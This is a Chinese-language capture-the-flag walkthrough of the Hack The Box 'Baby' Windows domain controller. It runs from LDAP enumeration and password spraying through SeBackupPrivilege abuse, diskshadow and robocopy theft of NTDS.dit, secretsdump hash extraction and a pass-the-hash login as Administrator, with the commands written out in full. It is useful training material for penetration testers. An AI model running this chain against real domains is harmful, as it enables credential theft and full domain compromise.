HTB Baby:利用SeBackupPrivilege权限提升的Windows域渗透

本文详细记录了HTB Baby靶机的完整渗透过程,从初始信息收集到最终获取域管理员权限。通过LDAP枚举发现默认凭证,利用备份操作员权限滥用SeBackupPrivilege,最终通过提取域哈希获得管理员访问权限。

HTB: Baby

盒子信息

名称 Baby
发布日期 2025年9月18日
退休日期 2025年9月18日
操作系统 Windows
难度 简单 [20分]
创建者 xct

侦察

初始扫描

nmap发现21个开放的TCP端口:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.129.20.55
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-09-18 00:41 UTC
...[snip]...
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws
49664/tcp open  unknown
49669/tcp open  unknown
51832/tcp open  unknown
51833/tcp open  unknown
51842/tcp open  unknown
53587/tcp open  unknown
54390/tcp open  unknown

该盒子显示了许多与Windows域控制器相关的端口。域是baby.vl,主机名是BABYDC

使用netexec生成hosts文件条目:

1
2
3
oxdf@hacky$ netexec smb 10.129.20.55 --generate-hosts-file hosts
oxdf@hacky$ cat hosts 
10.129.20.55     BABYDC.baby.vl baby.vl BABYDC

SMB - TCP 445

访客账户被禁用,匿名登录失败:

1
2
oxdf@hacky$ netexec smb 10.129.20.55 -u guest -p '' --shares
SMB         10.129.20.55    445    BABYDC           [-] baby.vl\guest: STATUS_ACCOUNT_DISABLED 

LDAP - TCP 389

使用netexec转储LDAP数据:

1
oxdf@hacky$ netexec ldap BABYDC.baby.vl -u '' -p '' --query "(objectClass=*)" "" | grep "Response for object:"

发现用户Teresa.Bell有一条注释设置了初始密码:

1
LDAP        10.129.20.55    389    BABYDC           description          Set initial password to BabyStart123!

获取Caroline.Robinson的Shell

密码喷洒失败

尝试使用发现的密码对用户列表进行喷洒:

1
oxdf@hacky$ netexec smb BABYDC.baby.vl -u users -p 'BabyStart123!' --continue-on-success

所有尝试都失败。

密码喷洒成功

发现用户Caroline.Robinson没有出现在初始查询中,尝试使用默认密码:

1
2
oxdf@hacky$ netexec smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!' 
SMB         10.129.20.55    445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE 

密码正确但需要更改。

获取Shell

密码更改

使用netexec的change-password模块更改密码:

1
oxdf@hacky$ netexec smb BABYDC.baby.vl -u Caroline.Robinson -p 'BabyStart123!' -M change-password -o NEWPASS=0xdf0xdf....

WinRM连接

使用新密码通过WinRM连接:

1
oxdf@hacky$ evil-winrm-py -i BABYDC.baby.vl -u Caroline.Robinson -p 0xdf0xdf....

获取user.txt:

1
2
evil-winrm-py PS C:\Users\Caroline.Robinson\Desktop> cat user.txt
79bb144d************************

获取Administrator权限

枚举

检查用户权限:

1
2
evil-winrm-py PS C:\> whoami /groups
evil-winrm-py PS C:\> whoami /priv

发现Caroline.Robinson在Backup Operators组中,拥有SeBackupPrivilegeSeRestorePrivilege权限。

利用SeBackupPrivilege

本地哈希

使用reg.py备份注册表配置单元文件:

1
2
3
4
oxdf@hacky$ reg.py 
[*] Saved HKLM\SAM to C:\windows\temp\SAM.save
[*] Saved HKLM\SYSTEM to C:\windows\temp\SYSTEM.save
[*] Saved HKLM\SECURITY to C:\windows\temp\SECURITY.save

下载文件并使用secretsdump.py提取哈希:

1
oxdf@hacky$ secretsdump.py -sam SAM.save -system SYSTEM.save LOCAL

域哈希

创建卷影副本来获取NTDS.dit文件:

使用diskshadow脚本:

1
2
3
4
5
6
set verbose on
set context persistent nowriters
set metadata C:\Windows\Temp\0xdf.cab
add volume c: alias 0xdf
create
expose %0xdf% e:

使用robocopy复制NTDS.dit文件:

1
evil-winrm-py PS C:\programdata> robocopy /b E:\Windows\ntds . ntds.dit

下载文件并提取域哈希:

1
oxdf@hacky$ secretsdump.py -ntds ntds.dit -system SYSTEM.save LOCAL

获得Administrator的哈希:ee4457ae59f1e3fbd764e33d9cef123d

获取Shell

使用提取的哈希获取Administrator shell:

1
oxdf@hacky$ evil-winrm-py -i BABYDC.baby.vl -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d

获取root.txt:

1
2
evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
6083544b************************
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计